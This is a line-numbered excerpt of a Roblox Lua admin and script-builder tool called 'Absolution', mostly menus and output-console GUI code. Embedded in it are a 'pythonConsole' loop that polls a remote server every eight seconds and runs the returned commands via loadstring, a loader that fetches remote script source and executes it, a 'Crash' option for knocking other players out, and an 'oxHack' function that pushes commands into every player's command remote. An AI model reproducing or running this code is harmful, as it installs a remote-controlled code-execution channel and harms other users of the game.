  3183. ContentFrame.BackgroundColor3 = Color3.new(0, 0, 0)
  3184. ContentFrame.BackgroundTransparency = 0.2
  3185. ContentFrame.BorderSizePixel = 0
  3186. ContentFrame.Position = UDim2.new(0, 0, 0, 15)
  3187. ContentFrame.Size = UDim2.new(0, 600, 0, 0)
  3188. ContentFrame.Parent = Main
  3189.  
  3190. local ScrollingFrame = Instance.new("ScrollingFrame")
  3191. ScrollingFrame.Size = UDim2.new(1, 0, 1, 0)
  3192. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, 0)
  3193. ScrollingFrame.MidImage = "rbxassetid://158362264"
  3194. ScrollingFrame.TopImage = "rbxassetid://158362307"
  3195. ScrollingFrame.BottomImage = "rbxassetid://158362221"
  3196. ScrollingFrame.BackgroundTransparency = 1
  3197. ScrollingFrame.BorderSizePixel = 0
  3198. ScrollingFrame.ScrollBarThickness = 5
  3199. ScrollingFrame.Parent = ContentFrame
  3200.  
  3201. ContentFrame:TweenSize(UDim2.new(0, 600, 0, 300), "Out", "Quad", 1.5, true)
  3202. OpenClose.MouseButton1Down:connect(function()
  3203. if Closed == false then
  3204. Closed = true
  3205. OpenClose.Text = "+"
  3206. ContentFrame:TweenSize(UDim2.new(0, 600, 0, 0), "Out", "Quad", 1.5, true)
  3207. delay(1, function()
  3208. ScrollingFrame.Visible = false
  3209. end)
  3210. else
  3211. Closed = false
  3212. OpenClose.Text = "-"
  3213. ContentFrame:TweenSize(UDim2.new(0, 600, 0, 300), "Out", "Quad", 1.5, true)
  3214. delay(0.5, function()
  3215. ScrollingFrame.Visible = true
  3216. end)
  3217. end
  3218. end)
  3219. local function GetNumberOfChildren(Object)
  3220. local Number = -15
  3221. for index, child in pairs(Object:GetChildren()) do
  3222. if child.ClassName == "TextLabel" then
  3223. Number = Number + 15
  3224. end
  3225. end
  3226. return Number
  3227. end
  3228. local function Output(Text, Color)
  3229. --[[local DB = false
  3230. local baseRemote = Create "RemoteEvent" {
  3231. Name = "TimeRemote",
  3232. Parent = Reps
  3233. }]]
  3234. local Line = Instance.new("TextLabel")
  3235. Line.ZIndex = 2
  3236. Line.BackgroundTransparency = 1
  3237. Line.BorderSizePixel = 0
  3238. Line.Text = string.format(" %s", Text)
  3239. Line.Font = "SourceSansBold"
  3240. Line.FontSize = "Size14"
  3241. Line.TextColor3 = Color
  3242. Line.TextWrapped = false
  3243. Line.Size = UDim2.new(1, 0, 0, 15)
  3244. Line.Position = UDim2.new(0, 0, 0, 15 + GetNumberOfChildren(ScrollingFrame))
  3245. Line.TextXAlignment = "Left"
  3246. Line.TextYAlignment = "Top"
  3247. Line.TextStrokeTransparency = 0.9
  3248. Line.Parent = ScrollingFrame
  3249.  
  3250. --[[baseRemote.OnServerEvent:connect(function(Plr, Time)
  3251. if DB == true then return end
  3252. Line.Text = string.format("%s - %s", Time, Line.Text)
  3253. DB = true
  3254. end)]]
  3255. if #ScrollingFrame:GetChildren() > 15 then
  3256. local NumChildren = GetNumberOfChildren(ScrollingFrame)
  3257. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, NumChildren)
  3258. ScrollingFrame.CanvasPosition = Vector2.new(0, (ScrollingFrame.CanvasSize.Y.Offset - ScrollingFrame.AbsoluteSize.Y) + 5)
  3259. elseif #ScrollingFrame:GetChildren() < 15 then
  3260. ScrollingFrame.CanvasSize = UDim2.new(3, 0, 0, 0)
  3261. end
  3262. end
  3263. game:GetService("LogService").MessageOut:connect(function(Message, Type)
  3264. if Message:lower():find('deprecated') or Message:lower():find('formfactor') or Message:lower():find('animation') then return end
  3265. if Type == Enum.MessageType.MessageOutput then
  3266. Output(Message, Color3.new(1, 1, 1))
  3267. elseif Type == Enum.MessageType.MessageWarning then
  3268. Output(Message, Color3.new(1, 0.6, 0.4))
  3269. elseif Type == Enum.MessageType.MessageError then
  3270. Output(Message, Color3.new(1, 0, 0))
  3271. elseif Type == Enum.MessageType.MessageInfo then
  3272. Output(Message, Color3.new(0.4, 0.5, 1))
  3273. end
  3274. end)
  3275. Clear.MouseButton1Down:connect(function()
  3276. ScrollingFrame:ClearAllChildren()
  3277. Output("Absolution Output Cleared", Color3.new(0, 1, 0))
  3278. end)
  3279. Output("Absolution Output Succesfully Loaded", Color3.new(0, 1, 0))
  3280. end)
  3281. end
  3282. end
  3283.  
  3284. Absolution.Functions.GetRankedInterface = function(Speaker, Player) -- "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name
  3285. Absolution.Functions.Dismiss(Speaker)
  3286. if type(Player) == "userdata" then
  3287. Player = Player.Name
  3288. end
  3289. Absolution.Functions.GetRankedPlayer = function(i)
  3290. if type(i) == "userdata" then
  3291. i = i.Name
  3292. end
  3293. Absolution.Functions.Dismiss(Speaker)
  3294. Absolution.Functions.Output(Speaker, "Name: "..i, nil, nil, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..i)
  3295. ypcall(function()
  3296. Absolution.Functions.Output(Speaker, "Age: "..Absolution.Services.Players[i].AccountAge)
  3297. Absolution.Functions.Output(Speaker, "userId: "..Absolution.Services.Players[i].userId)
  3298. end)
  3299. Absolution.Functions.Output(Speaker, "Rank: "..Absolution.Functions:findRank(i))
  3300. Absolution.Functions.Output(Speaker, "View Other Infomation", "Deep orange", function()
  3301. Absolution.Functions.Output(Speaker, "Color: "..Absolution.Functions.getRankedTable(i).Color or "N/A")
  3302. Absolution.Functions.Output(Speaker, "Distance: "..Absolution.Functions.getRankedTable(i).Distance or "N/A")
  3303. Absolution.Functions.Output(Speaker, "Description: "..Absolution.Functions.getRankedTable(i).Description or "N/A")
  3304. end)
  3305. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) and Absolution.Functions:findRank(Speaker)>5 then
  3306. Absolution.Functions.Output(Speaker, "Set Rank", "Mid gray", function()
  3307. Absolution.Functions.Dismiss(Speaker)
  3308. Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' is setting your rank.')
  3309. for __,v in pairs(Absolution.Ranks) do
  3310. if __ < Absolution.Functions:findRank(Speaker) and (__>=0) then
  3311. Absolution.Functions.Output(Speaker, '['..tostring(__)..'] '..v, nil, function()
  3312. Absolution.Functions.GetRankedInterface(Speaker)
  3313. Absolution.Functions.getRankedTable(i).Rank = __
  3314. Absolution.Functions.syncRankOut(i)
  3315. Absolution.Functions.Output(Absolution.Services.Players:findFirstChild(i), Speaker.Name..' changed your access level to '..Absolution.Ranks[__], nil)
  3316. end)
  3317. end
  3318. end
  3319. end)
  3320. end
  3321. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(i) or i == Speaker.Name then
  3322. Absolution.Functions.Output(Speaker, "User Settings", "Mid gray", function()
  3323. Absolution.Functions.Output(Speaker, "Set Color", "Mid gray", function()
  3324. Absolution.Functions.Dismiss(Speaker)
  3325. for _,c in pairs({"Br. yellowish green","Bright yellow","Bright orange","Bright red","Bright violet","Bright blue","Bright bluish green","Bright green","Institutional white","White","Light stone grey","Mid gray","Medium stone grey","Dark stone grey","Black","Really black","Grime","Br. yellowish orange","Light orange","Sand red","Lavender","Sand blue","Medium blue","Sand green","Brick yellow","Cool yellow","Neon orange","Medium red","Light reddish violet","Pastel Blue","Teal","Medium green","Pastel brown","Pastel yellow","Pastel orange","Pink","Pastel violet","Pastel light blue","Pastel blue-green","Pastel green","Olive","New Yeller","Deep orange","Really red","Hot pink","Really blue","Toothpaste","Lime green","Brown","Nougat","Dark orange","Royal purple","Alder","Cyan","Light blue","Camo","Reddish brown","CGA brown","Dusty Rose","Magenta","Deep blue","Navy blue","Dark green","Earth green"}) do
  3326. Absolution.Functions.Output(Speaker, c, c, function()
  3327. Absolution.Functions.Dismiss(Speaker)
  3328. Absolution.Functions.getRankedTable(i).Color = c
  3329. Absolution.Functions.GetRankedInterface(Speaker)
  3330. end)
  3331. end
  3332. end)
  3333. Absolution.Functions.Output(Speaker, "Set Tablet Type", "Mid gray", function()
  3334. Absolution.Functions.Dismiss(Speaker)
  3335. Absolution.Functions.Output(Speaker, 'Box', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Box' end)
  3336. Absolution.Functions.Output(Speaker, 'Normal', nil, function() Absolution.Functions.Dismiss(Speaker) Absolution.Functions.getRankedTable(Speaker).TabletType = 'Normal' end)
  3337. end)
  3338. Absolution.Functions.Output(Speaker, "Set Distance", "Mid gray", function()
  3339. Absolution.Functions.Dismiss(Speaker)
  3340. for z = 1, 30 do
  3341. Absolution.Functions.Output(Speaker, z, nil, function()
  3342. Absolution.Functions.Dismiss(Speaker)
  3343. Absolution.Functions.getRankedTable(i).Distance = z
  3344. Absolution.Functions.GetRankedInterface(Speaker)
  3345. end)
  3346. end
  3347. end)
  3348. end)
  3349. end
  3350. Absolution.Functions.Output(Speaker, "Back To Ranked", "Really blue", function() Absolution.Functions.GetRankedInterface(Speaker) end)
  3351. Absolution.Functions.Output(Speaker, "Back To Players", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  3352. Absolution.Functions.Output(Speaker, "Dismiss")
  3353. end
  3354. Absolution.Functions.getAllRanked = function(Speaker, str)
  3355. Absolution.Functions.Dismiss(Speaker)
  3356. local Found = {}
  3357. for index,data in next, Absolution.Ranked do
  3358. if Absolution.Functions:findRank(Speaker) >= data.Rank and (str and data:lower():find(str:lower()) or true) then
  3359. Found[#Found+1] = index
  3360. end
  3361. end
  3362. local function PageHandler(Speaker,tbl,pg,calc,maxpg)
  3363. local List,Page,MaxPage=tbl,pg,maxpg
  3364. if Page == 0 then
  3365. Page = 1
  3366. end
  3367. local function GetArray(table,start,_end,maxpage)
  3368. local Array = {}
  3369. if start == 0 then
  3370. start = 1
  3371. end
  3372. for i = start,_end do
  3373. Array[#Array+1]=table[i]
  3374. end
  3375. return Array
  3376. end
  3377. local function Redo(pg)
  3378. Absolution.Functions.Dismiss(Speaker)
  3379. for index,data in pairs(GetArray(List,(Page-1)*calc,Page*calc,maxpg)) do
  3380. Absolution.Functions.Output(Speaker, (data and data or 'Nil Data'), Absolution.Functions.getRankedTable(data).Color, function() Absolution.Functions.GetRankedInterface(Speaker, data) end)
  3381. end
  3382. if pg < maxpg then
  3383. Absolution.Functions.Output(Speaker, "Next Page","New Yeller",function()
  3384. Page = Page + 1
  3385. Redo(Page)
  3386. end)
  3387. end
  3388. if pg > 1 then
  3389. Absolution.Functions.Output(Speaker, "Back Page","New Yeller",function()
  3390. Page = Page - 1
  3391. Redo(Page)
  3392. end)
  3393. end
  3394. Absolution.Functions.Output(Speaker, "Page: "..Page.."/"..maxpg,"New Yeller")
  3395. end
  3396. Redo(Page)
  3397. end
  3398. local mr = Absolution.Constants.MaxResults
  3399. if #Found > mr then
  3400. PageHandler(Speaker,Found,1,mr,math.floor(#Found/mr))
  3401. end
  3402. end
  3403. if Player ~= nil then
  3404. Absolution.Functions.GetRankedPlayer(Player)
  3405. else
  3406. Absolution.Functions.getAllRanked(Speaker)
  3407. end
  3408. end
  3409.  
  3410. -- getRap --
  3411. Absolution.Functions.getRap = function(Player)
  3412. local uri = "http://roblox.plus:2052/inventory?id="..Player.userId
  3413. local res=game:GetService'HttpService':GetAsync(uri,true)
  3414. res=game:GetService'HttpService':JSONDecode(res)
  3415. local rap=0
  3416. for a,b in pairs(res.data) do
  3417. rap=rap+tonumber(b.rap)
  3418. end
  3419. return rap
  3420. end
  3421.  
  3422. -- ShowData --
  3423. Absolution.Functions.ShowData = function(Speaker, Player)
  3424. if Player then
  3425. Absolution.Functions.Dismiss(Speaker)
  3426. local tPlr = tostring(Player)
  3427. local pData = Absolution.Handler:sendPacket(Player, 'DATA')
  3428. local FPS = pData["FPS"]
  3429. local TIME = pData["TIME"]
  3430. local LOGS = pData["LOGS"]
  3431. local RAP = Absolution.Functions.getRap(Player)
  3432. Absolution.Functions.Output(Speaker, 'Stats', Absolution.Functions.getRankedTable(tPlr).Color, function()
  3433. Absolution.Functions.Dismiss(Speaker)
  3434. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  3435. local fTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'FPS: '..FPS, 'White')
  3436. coroutine.wrap(function()
  3437. while fTab do
  3438. wait()
  3439. fTab.BG.TL.Text = 'FPS: '..Absolution.Handler:sendPacket(Player, 'DATA')['FPS']
  3440. end
  3441. end)()
  3442. local tTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'TIME: '..TIME, 'White')
  3443. coroutine.wrap(function()
  3444. while fTab do
  3445. wait()
  3446. tTab.BG.TL.Text = 'TIME: '..Absolution.Handler:sendPacket(Player, 'DATA')['TIME']
  3447. end
  3448. end)()
  3449. local rTab = Absolution.Functions.pseudoOutputFunction(Speaker, 'RAP: '..RAP,'White')
  3450. Absolution.Functions.pseudoOutputFunction(Speaker, 'Stats for '..tostring(Player), 'Bright yellow')
  3451. end)
  3452. if Absolution.Ranked[tostring(Speaker)].Rank >=8 then
  3453. Absolution.Functions.Output(Speaker, 'Logs', Absolution.Functions.getRankedTable(tPlr).Color, function()
  3454. Absolution.Functions.Dismiss(Speaker)
  3455. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  3456. for i,v in pairs(LOGS) do
  3457. Absolution.Functions.Output(Speaker,i,'Random',function()
  3458. Absolution.Functions.Dismiss(Speaker)
  3459. Absolution.Functions.Output(Speaker, 'Go back', 'Bright blue', function() Absolution.Functions.ShowData(Speaker, Player) end)
  3460. for f,g in pairs(v) do
  3461. Absolution.Functions.Output(Speaker,f..' = '..g)
  3462. end
  3463. end)
  3464. end
  3465. end)
  3466. end
  3467. else
  3468. Absolution.Functions.ShowData(Speaker, Speaker)
  3469. end
  3470. end
  3471.  
  3472. -- Blocking Players --
  3473. Absolution.Functions.blockPlayer = function(plr)
  3474. local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
  3475. if isConnected then
  3476. local rtn = isConnected:Invoke('blockuser',Absolution.uniqueKey, tostring(plr))
  3477. return rtn
  3478. end
  3479. return false
  3480. end
  3481.  
  3482. Absolution.Functions.unBlockPlayer = function(plr)
  3483. local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
  3484. if isConnected then
  3485. local rtn = isConnected:Invoke('unblockuser',Absolution.uniqueKey, tostring(plr))
  3486. return rtn
  3487. end
  3488. return false
  3489. end
  3490.  
  3491. Absolution.Functions.loadIntoSandbox = function(sdata)
  3492. local isConnected = Absolution.Services.ReplicatedStorage:findFirstChild('ScriptBuilderHandler')
  3493. if isConnected then
  3494. local rtn = isConnected:Invoke('loadstring',Absolution.uniqueKey,sdata)
  3495. return rtn
  3496. end
  3497. return false
  3498. end
  3499.  
  3500. -- SecondaryScriptLoading --
  3501. Absolution.Functions.loadWeapon = function(scriptName, loader)
  3502. assert(Absolution.HttpConstants[scriptName]~=nil,'Please provide a valid weapon!')
  3503. local scriptSource = Absolution.Services.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants[scriptName], true)
  3504. Absolution.Functions.NLS(scriptSource, loader.Backpack, 'Weapon')
  3505. end
  3506.  
  3507. -- isIgnoring --
  3508. Absolution.Functions.IsIgnoring = function(pName)
  3509. for q,e in next,Absolution.Ignoring do
  3510. if e==pName then
  3511. return true
  3512. end
  3513. end
  3514. return false
  3515. end
  3516.  
  3517. -- setIgnore --
  3518. Absolution.Functions.SetIgnore = function(pName)
  3519. table.insert(Absolution.Ignoring, pName)
  3520. return true
  3521. end
  3522.  
  3523. -- stopIgnore --
  3524. Absolution.Functions.StopIgnore = function(pName)
  3525. for q,e in next,Absolution.Ignoring do
  3526. if e==pName then
  3527. table.remove(Absolution.Ignoring, q)
  3528. return true
  3529. end
  3530. end
  3531. return false
  3532. end
  3533.  
  3534. -- pythonConsole --
  3535. Absolution.HttpConstants.pythonConsole.getCommand = function(self)
  3536. local Command = Absolution.Services.HttpService:GetAsync((self.IP..self.Commands):format(tostring(Absolution.uniqueKey)), true)
  3537. return Command
  3538. end
  3539.  
  3540. Absolution.HttpConstants.pythonConsole.Chat = function(self, Chatter, Message)
  3541. local Command = Absolution.Services.HttpService:GetAsync((self.IP..self.ChatServ):format(tostring(Chatter), Message, tostring(Absolution.uniqueKey)), true)
  3542. return Command
  3543. end
  3544.  
  3545. Absolution.HttpConstants.pythonConsole.processCommand = function(self, cmdToRun)
  3546. Absolution.Handler.sendChat('Parsing console command...')
  3547. Absolution.Functions.Announce('Parsing console command...')
  3548. local Ran,Error = ypcall(function()
  3549. loadstring(cmdToRun)()
  3550. end)
  3551. if not Ran then
  3552. Absolution.HttpConstants.pythonConsole:Chat('ERROR',Error)
  3553. else
  3554. Absolution.HttpConstants.pythonConsole:Chat('SERVER','Ran successfully!')
  3555. end
  3556.  
  3557. end
  3558. Absolution.HttpConstants.pythonConsole.Initialize = coroutine.create(function(self)
  3559. Absolution.Services.HttpService:GetAsync((self.IP..self.Authentication):format(tostring(Absolution.uniqueKey)))
  3560. print'Server authenticated!'
  3561. while wait(8) do
  3562. local Command = Absolution.HttpConstants.pythonConsole:getCommand()
  3563. if Command ~= Absolution.HttpConstants.pythonConsole.previousCommand and not Command:find'exit' and not Command:find'null' then
  3564. Absolution.HttpConstants.pythonConsole:processCommand(Command)
  3565. end
  3566. Absolution.HttpConstants.pythonConsole.previousCommand = Command
  3567. end
  3568. end)
  3569.  
  3570. -- getRankedTable --
  3571. Absolution.Functions.getRankedTable = function(plr)
  3572. if type(plr)=='userdata' then plr=tostring(plr) end
  3573. local data
  3574. data = Absolution.Ranked[plr]
  3575. return data
  3576. end
  3577.  
  3578. -- ShowPlayers --
  3579. Absolution.Functions.ShowPlayers = function(Speaker)
  3580. Absolution.Functions.Dismiss(Speaker)
  3581. for _,v in pairs(Absolution.Functions.getALLPlayers()) do
  3582. if v.Parent == Absolution.Services.Players then
  3583. Absolution.Functions.Output(Speaker, v.Name..'['..Absolution.Functions:findRank(v)..']', nil, function()
  3584. Absolution.Functions.Dismiss(Speaker)
  3585. Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
  3586. Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
  3587. Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
  3588. Absolution.Functions.Output(Speaker, "Go To "..v.Name.."'s Ranked Interface", "Really blue", function()
  3589. Absolution.Functions.GetRankedInterface(Speaker, v.Name)
  3590. end)
  3591. Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  3592. Absolution.Functions.Output(Speaker, "Dismiss")
  3593. end)
  3594. else
  3595. Absolution.Functions.Output(Speaker, "nil-"..v.Name, nil, function()
  3596. Absolution.Functions.Dismiss(Speaker)
  3597. Absolution.Functions.Output(Speaker, "Name: "..v.Name, "Deep orange")
  3598. Absolution.Functions.Output(Speaker, "UserId: "..v.userId, "Deep orange")
  3599. Absolution.Functions.Output(Speaker, "AccountAge: "..v.AccountAge, "Deep orange")
  3600. if Absolution.Functions:findRank(Speaker) > Absolution.Functions:findRank(v.Name) then
  3601. Absolution.Functions.Output(Speaker, "Crash", "White", function()
  3602. Absolution.Functions.Dismiss(Speaker)
  3603. local dc = Absolution.Handler:sendPacket(v, 'rejoin')
  3604. coroutine.resume(coroutine.create(function()
  3605. wait(0.5)
  3606. if dc then
  3607. Absolution.Functions.Output(Speaker, "Successfully crashed "..v.Name, "Lime green", nil, 3)
  3608. Absolution.Functions.Announce('CRASHED: '..(v.Name and v.Name or 'undefined/error'))
  3609. else
  3610. Absolution.Functions.Output(Speaker, "Failed to crash "..v.Name, "Lime green", nil, 3)
  3611. Absolution.Functions.Announce('FAILED TO CRASH:'..(v.Name and v.Name or 'undefined/error'))
  3612. end
  3613. end))
  3614. end)
  3615. end
  3616. Absolution.Functions.Output(Speaker, "To Ranked Interface", "Really blue", function()
  3617. Absolution.Functions.GetRankedInterface(Speaker, v.Name)
  3618. end)
  3619. Absolution.Functions.Output(Speaker, "Back", "Really blue", function() Absolution.Functions.ShowPlayers(Speaker) end)
  3620. Absolution.Functions.Output(Speaker, "Dismiss")
  3621. end, nil, "http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name)
  3622. end
  3623. end
  3624. Absolution.Functions.Output(Speaker, "Dismiss")
  3625. end
  3626.  
  3627. -- oxHack --
  3628. Absolution.Functions.sbExe = function(cmd,plr)
  3629. if not type(cmd)=='string'then return end
  3630. if plr then
  3631. if type(plr)=='userdata'then
  3632. pcall(function()
  3633. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  3634. end)
  3635. elseif type(plr)=='string'then
  3636. pcall(function()
  3637. plr = game:GetService('Players'):FindFirstChild(plr)
  3638. plr:FindFirstChild("SB_CommandRemote",true).Value = cmd
  3639. end)
  3640. end
  3641. else
  3642. for i,v in pairs(game:GetService('Players'):children())do
  3643. pcall(function()
  3644. v:FindFirstChild("SB_CommandRemote",true).Value = cmd
  3645. end)
  3646. end
  3647. end
  3648. end
  3649. Absolution.Functions.sbChat = function(self,msg,plr,fn)
  3650. msg = msg:gsub("","")
  3651. if not type(msg)=='string'then return end
  3652. msg=(msg and msg or '')
  3653. if plr then
  3654. if type(plr)=='userdata'then
  3655. local data = Instance.new('StringValue',plr)
  3656. data.Name = 'SB_Chat'
  3657. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  3658. elseif type(plr)=='string'then
  3659. plr = game:GetService('Players'):FindFirstChild(plr)
  3660. local data = Instance.new('StringValue',plr)
  3661. data.Name = 'SB_Chat'
  3662. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  3663. end
  3664. else
  3665. for i,v in pairs(game:GetService('Players'):children())do
  3666. local data = Instance.new('StringValue',v)
  3667. data.Name = 'SB_Chat'
  3668. data.Value = ''..(fn and fn or 'Absolution')..'/'..msg..' '
  3669. end
  3670. end
  3671. end
  3672. Absolution.Functions.sbOutput = function(msg, typ, plr)
  3673. if not type(msg)=='string'then return end
  3674. msg=(msg and msg or 'nil')
  3675. typ=(typ and typ or 'Print')
  3676. if plr then
  3677.  
  3678. --[[if type(plr)=='userdata'then
  3679. local data = Instance.new('StringValue',plr)
  3680. data.Name = 'SB_Output:Output'
  3681. data.Value = '["'..typ..'","'..msg..'"]'
  3682. Absolution.Functions.Out(plr, msg, 5)
  3683. elseif type(plr)=='string'then
  3684. plr = game:GetService('Players'):FindFirstChild(plr)
  3685. local data = Instance.new('StringValue',plr)
  3686. data.Name = 'SB_Output:Output'
  3687. data.Value = '["'..typ..'","'..msg..'"]'
  3688. end--]]
  3689. Absolution.Functions.Out(plr, msg, 5)
  3690. else
  3691. Absolution.Functions.Out('All', msg, 5)
  3692. --[[for i,v in pairs(game:GetService('Players'):children())do
  3693.  
  3694. local data = Instance.new('StringValue',v)
  3695. data.Name = 'SB_Output:Output'
  3696. data.Value = '["'..typ..'","'..msg..'"]'
  3697. end--]]
  3698. end
  3699. print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
  3700. end
  3701.  
  3702. Absolution.Functions.osbOutput = function(msg, typ, plr)
  3703. if not type(msg)=='string'then return end
  3704. msg=(msg and msg or 'nil')
  3705. typ=(typ and typ or 'Print')
  3706. if plr then
  3707. if type(plr)=='userdata'then
  3708. local data = Instance.new('StringValue',plr)
  3709. data.Name = 'SB_Output:Output'
  3710. data.Value = '["'..typ..'","'..msg..'"]'
  3711. Absolution.Functions.Out(plr, msg, 5)
  3712. elseif type(plr)=='string'then
  3713. plr = game:GetService('Players'):FindFirstChild(plr)
  3714. local data = Instance.new('StringValue',plr)
  3715. data.Name = 'SB_Output:Output'
  3716. data.Value = '["'..typ..'","'..msg..'"]'
  3717. end
  3718. else
  3719. for i,v in pairs(game:GetService('Players'):children())do
  3720. local data = Instance.new('StringValue',v)
  3721. data.Name = 'SB_Output:Output'
  3722. data.Value = '["'..typ..'","'..msg..'"]'
  3723. end
  3724. end
  3725. print('[Absolution.Functions.sbOutput] - '..msg..' {'..typ..'}')
  3726. end
  3727.  
  3728.  
  3729.  
  3730. -- Orb --
  3731. Absolution.Functions.loadOrb = function(plr,typ,rainbow)
  3732. if typ == true then
  3733. Absolution.Functions.createScript([==[wait()
  3734. local Owner = game:GetService("Players")[']==]..plr..[==[']
  3735. local Character = nil
  3736. local Orb = nil
  3737.  
  3738. local Settings = {
  3739. ["Trail"] = true,
  3740. ["TrailColor"] = BrickColor.White(),
  3741.  
  3742. ["Radius"] = 10,
  3743. ["Height"] = 8,
  3744. ["Bounce"] = .5,
  3745.  
  3746. ["AudioID"] = 9,
  3747.  
  3748. ["EinOrb"] = true,
  3749.  
  3750. ["Speed"] = .02
  3751. }
  3752.  
  3753. local TrailParts = {}
  3754. script.Parent = nil
  3755. Spawnorb = function()
  3756. if Orb ~= nil then
  3757. pcall(function()
  3758. Orb:ClearAllChildren()
  3759. end)
  3760. pcall(function()
  3761. Orb:Destroy()
  3762. end)
  3763. end
  3764. Orb = Instance.new('Part', workspace)
  3765. Orb.BrickColor = BrickColor.White()
  3766. Orb.Transparency = .3
  3767. Orb.Anchored = true
  3768. Orb.CanCollide = false
  3769. Orb.Locked = true
  3770. --Orb.FormFactor = "Symmetric"
  3771. Orb.Shape = "Ball"
  3772. Orb.Size = Vector3.new(1,1,1)
  3773. Orb.TopSurface = 10
  3774. Orb.BottomSurface = 10
  3775. Orb.Material = "Plastic"
  3776. Orb.Name = "Part"
  3777. Orb.Changed:connect(function()
  3778. if not workspace:FindFirstChild(Orb.Name) then
  3779. Spawnorb()
  3780. end
  3781. end)
  3782. end;Spawnorb()
  3783.  
  3784. spawn(function()
  3785. while wait(1) do
  3786. if Orb.Parent==nil then
  3787. Spawnorb()
  3788. end
  3789. end
  3790. end)
  3791.  
  3792. Spawntrail = function()
  3793. if Orb ~= nil and Settings.Trail == true then
  3794. local Tail = Instance.new('Part', Orb)
  3795. Tail.BrickColor = Settings.TrailColor
  3796. Tail.Transparency = .1
  3797. Tail.Anchored = true
  3798. Tail.CanCollide = false
  3799. Tail.Locked = true
  3800. --Tail.FormFactor = "Custom"
  3801. Tail.Size = Vector3.new(.2,.2,.2)
  3802. Tail.CFrame = Orb.CFrame
  3803. Tail.TopSurface = 10
  3804. Tail.Material = "Neon"
  3805. Tail.BottomSurface = 10
  3806. Instance.new("PointLight", Tail)
  3807. table.insert(TrailParts, Tail)
  3808. if Settings.EinOrb then
  3809. spawn(function()
  3810. for i = 1, 0,-.025 do
  3811. Tail.Color = Color3.new(i,i,i)
  3812. game:GetService("RunService").Heartbeat:wait()
  3813. end
  3814. end)
  3815. end
  3816. end
  3817. end
  3818.  
  3819. function clerp(p1,p2,percent)
  3820. local p1x,p1y,p1z,p1R00,p1R01,p1R02,p1R10,p1R11,p1R12,p1R20,p1R21,p1R22=p1:components()
  3821. local p2x,p2y,p2z,p2R00,p2R01,p2R02,p2R10,p2R11,p2R12,p2R20,p2R21,p2R22=p2:components()
  3822. return CFrame.new(p1x+percent*(p2x-p1x),p1y+percent*(p2y-p1y),p1z+percent*(p2z-p1z),p1R00+percent*(p2R00-p1R00),p1R01+percent*(p2R01-p1R01),p1R02+percent*(p2R02-p1R02),p1R10+percent*(p2R10-p1R10),p1R11+percent*(p2R11-p1R11),p1R12+percent*(p2R12-p1R12),p1R20+percent*(p2R20-p1R20),p1R21+percent*(p2R21-p1R21),p1R22+percent*(p2R22-p1R22))
  3823. end
  3824.  
  3825. local Rot = 1
  3826. spawn(function()
  3827. game:GetService("RunService").Heartbeat:connect(function()
  3828. if Owner and Owner.Character and Owner.Character:FindFirstChild("Torso") then
  3829. Character = Owner.Character.Torso.CFrame
  3830. else
  3831. Character = CFrame.new(0,1.5,0)
  3832. end
  3833. if Orb ~= nil then
  3834. Rot = Rot + Settings.Speed
  3835. Orb.CFrame = clerp(Orb.CFrame,
  3836. CFrame.new(Character.p)
  3837. *CFrame.new(.8,Settings.Height,0)
  3838. *CFrame.Angles(180,Rot,(math.sin((tick())*1.3))+13)
  3839. *CFrame.new(Settings.Radius,0,0)
  3840. , .1)
  3841. -- Trail
  3842. Spawntrail()
  3843. for i,_ in next,TrailParts do
  3844. if TrailParts[i] ~= nil and TrailParts[i+1] ~= nil then
  3845. local Part1 = TrailParts[i]
  3846. local Part2 = TrailParts[i+1]
  3847. local Mag = ((Part1.CFrame.p-Part2.CFrame.p).magnitude)
  3848. if i >= 8 then
  3849. Part1.Size = Vector3.new(Part1.Size.X+.017, Mag, Part1.Size.Z+.017)
  3850. else
  3851. Part1.Size = Vector3.new(.2, Mag, .2)
  3852. end
  3853. Part1.Transparency = Part1.Transparency + .021
  3854. Part1.CFrame = CFrame.new(Part1.CFrame.p, Part2.CFrame.p)
  3855. *CFrame.Angles(math.pi/2,2,0)
  3856. if Part1.Size.X >= 1.7 then
  3857. Part1:Destroy()
  3858. table.remove(TrailParts, i)
  3859. end
  3860. end
  3861. end
  3862. end
  3863. end)
  3864. end)]==], Absolution.Services.Workspace)
  3865. else
  3866. Absolution.Functions.createScript([==[
  3867. script.Parent = nil
  3868. script.Name = 'Orbie_Absolution'
  3869. local Core = {
  3870. Owner = game:GetService("Players"):FindFirstChild(']==]..plr..[==[') or nil,
  3871. OwnerName = ']==]..plr..[==[',
  3872. Threads = {
  3873. Index = 0,
  3874. Theading = {},
  3875. Manager = 3
  3876. };
  3877. };
  3878. local Orb = nil
  3879. local OrbTrail = {}
  3880.  
  3881. local AddInstance = function(Object, ...)
  3882. local Obj = Instance.new(Object)
